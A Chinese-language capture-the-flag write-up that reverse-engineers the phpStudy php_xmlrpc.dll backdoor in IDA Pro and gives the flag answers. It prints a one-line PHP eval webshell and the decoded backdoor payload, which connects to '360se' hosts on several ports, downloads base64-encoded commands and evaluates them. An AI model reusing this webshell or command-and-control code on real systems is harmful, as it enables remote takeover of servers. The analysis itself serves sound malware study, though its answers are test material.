进入桌面后,解压文件,可以看到有以下文件
通过我朋友雨泽的中间件漏洞文章和这个php的版本,可以猜到这题考的是前几年phpstudy的后门漏洞
雨泽的文章链接:=1001.2014.3001.5501
phpstudy的后门漏洞大部分存在于:
phpStudy20180211版本 php5.4.45与php5.2.17 ext扩展文件夹下的php_xmlrpc.dll
phpStudy20161103版本 php5.4.45与php5.2.17 ext扩展文件夹下的php_xmlrpc.dll
我们打开这个文件目录找到后门文件
然后将文件拖入ida pro 分析
我们按shift+f12可以显示出文件内的字符串,在下面可以发现这两个奇怪的字符串
这个是常用的php小马代码
<?php @eval($_POST['cmd']);?>
可以判断,这个字符串就是后门代码
接下来我们交叉引用,跳转到执行这个代码的段,我们双击这个字符串
双击这个地方,跳转到执行代码的地方
这就是代码执行的地方,我们可以按f5看一下这个段的伪代码
根据题目,将包含恶意代码基址偏移的范围作为Flag值提交,
我们通过从恶意代码执行的地方往上逆向分析,在这个while循环可以发现
从最下面的恶意代码执行的伪代码跟着我的思路走
v10 = &byte_10011B34;v11 = asc_1000C028;v41 = &byte_10011B34;v12 = 0;v13 = asc_1000C028;while ( 1 ){if ( *(_DWORD *)v13 == 39 ){v10[v12] = 92;v41[v12 + 1] = *v11; //v41获取了v11变量的内存地址v12 += 2;v13 += 8;}else{v10[v12++] = *v11;v13 += 4;}v11 += 4;if ( (int)v11 >= (int)&unk_1000C66C ) //如果v11变量里的值大于1000C66C内存地址里的值break;v10 = v41; //v10变量=v41变量}spprintf(&v41, 0, "@eval(%s('%s'));", aGzuncompress, v41); //将@eval(%s('%s'));字符串和aGzuncompress里的值存入V41变量里
我只分析了一下关键地方的代码,其他地方的代码不怎么重要,在分析里可以知道,关键的偏移地址是V11里的值和if对比的1000C66C内存地址里的值
0x1000C028-0x1000C66C
这个就简单多了,我们继续在ida里分析
可以发现,拼接字符串函数名称是
spprintf
恶意代码如下
@eval(%s('%s'));
由此可知,用于格式化字符串的参数名称是
%s
通过上面的恶意代码和学过c语言的都知道,字符串传参的参数名称是
%s
我们打开decode.py文件
关键的f1,f2,f3,f4代码:
data = zlib.F1(data)
flag = b'F2'
hwrite.write(F3)
hwrite.write(F4)
#Flag=F1.F2.F3.F4
F1是python的zlib模块里的函数
F1:
decompress
F2是程序aGzuncompress变量里的值
我们双击这个变量进入查看
F2:
gzuncompress
通过这段代码分析
flag = b'F2'offset = data.find(flag)data = data[offset + 0x10:offset + 0x10 + 0x567*4].replace(b"x00x00x00",b"")decodedata_1 = zlib.F1(data[:0x191])print(hexdump(data[0x191:]))decodedata_2 = zlib.F1(data[0x191:])with open("","w") as hwrite:hwrite.write(F3)hwrite.closewith open("","w") as hwrite:hwrite.write(F4)hwrite.close
F3和F4分别为:
str(decodedata_1)和str(decodedata_2)
完整的flag为:
我们填补完程序缺失的代码后执行
从生成的第二个文件里可以发现
@ini_set("display_errors","0");error_reporting(0);function tcpGet($sendMsg = '', $ip = '360se', $port = '20123'){$result = "";$handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);if( !$handle ){$handle = fsockopen($ip, intval($port), $errno, $errstr, 5);if( !$handle ){return "err";}}fwrite($handle, $sendMsg."n");while(!feof($handle)){stream_set_timeout($handle, 2);$result .= fread($handle, 1024);$info = stream_get_meta_data($handle);if ($info['timed_out']) {break;}}fclose($handle);return $result;}$ds = array("www","bbs","cms","down","up","file","ftp");$ps = array("20123","40125","8080","80","53");$n = false;do {$n = false;foreach ($ds as $d){$b = false;foreach ($ps as $p){$result = tcpGet($i,$d.".360se",$p);if ($result != "err"){$b =true;break;}}if ($b)break;}$info = explode("<^>",$result);if (count($info)==4){if (strpos($info[3],"/*Onemore*/") !== false){$info[3] = str_replace("/*Onemore*/","",$info[3]);$n=true;}@eval(base64_decode($info[3]));}}while($n);
端口号从小到大的顺序为:
53,80,8080,20123,40125
本文发布于:2024-02-03 04:13:21,感谢您对本站的认可!
本文链接:https://www.4u4v.net/it/170690480248575.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
留言与评论(共有 0 条评论) |